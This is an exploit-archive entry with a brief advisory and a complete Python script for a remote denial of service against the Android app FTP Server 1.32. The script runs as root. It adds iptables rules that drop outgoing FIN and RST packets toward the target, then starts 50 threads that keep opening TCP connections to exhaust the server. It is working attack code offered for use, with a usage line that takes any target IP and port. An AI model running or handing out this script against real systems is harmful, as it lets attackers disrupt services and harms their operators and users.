FTP Server 1.32 Denial Of Service

FTP Server version 1.32 suffers from a denial of service vulnerability.


MD5 | d0a8b57dca44040dff790f2342f44f26

#!/usr/bin/env python
#coding: utf-8

# ************************************************************************
# * Author: Marcelo VA!zquez (aka s4vitar) *
# * FTP Server 1.32 Remote Denial of Service (DoS) *
# ************************************************************************

# Exploit Title: FTP Server 1.32 Remote Denial of Service (DoS)
# Date: 2019-02-26
# Exploit Author: Marcelo VA!zquez (aka s4vitar)
# Vendor: The Olive Tree
# Software Link: https://play.google.com/store/apps/details?id=com.theolivetree.ftpserver
# Category: Mobile Apps
# Version: <= FTP Server 1.32
# Tested on: Android

import socket, random, string, signal, ssl, argparse, sys
from time import sleep
from threading import Thread, active_count
from os import system, geteuid

if geteuid() != 0:
print("\nPlease, run %s as root...\n" % sys.argv[0])
sys.exit()

stop = False

def signal_handler(signal, frame):
global stop
stop = True

def spam(target_ip, port):
while True:
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.settimeout(2)
try:
s.connect((target_ip, port))
except:
pass
if stop == True:
break

if __name__ == '__main__':

signal.signal(signal.SIGINT, signal_handler)

if len(sys.argv) != 3:
print "\nUsage: python " + sys.argv[0] + " <ip-address> <port>\n"
sys.exit(1)

target = sys.argv[1]
port = int(sys.argv[2])

target_ip = socket.gethostbyname(target)

system('iptables -A OUTPUT -d %s -p tcp --dport %d --tcp-flags FIN FIN -j DROP' %( target_ip, port ))
system('iptables -A OUTPUT -d %s -p tcp --dport %d --tcp-flags RST RST -j DROP' %( target_ip, port ))

threads = []

payload = ''

for i in xrange(0,50):
t = Thread(target=spam, args=(target_ip, port,))
threads.append(t)
t.start()

while True:

if active_count() == 1 or stop == True:

system('iptables -D OUTPUT -d %s -p tcp --dport %d --tcp-flags FIN FIN -j DROP' %( target_ip, port ))
system('iptables -D OUTPUT -d %s -p tcp --dport %d --tcp-flags RST RST -j DROP' %( target_ip, port ))
print("")
break

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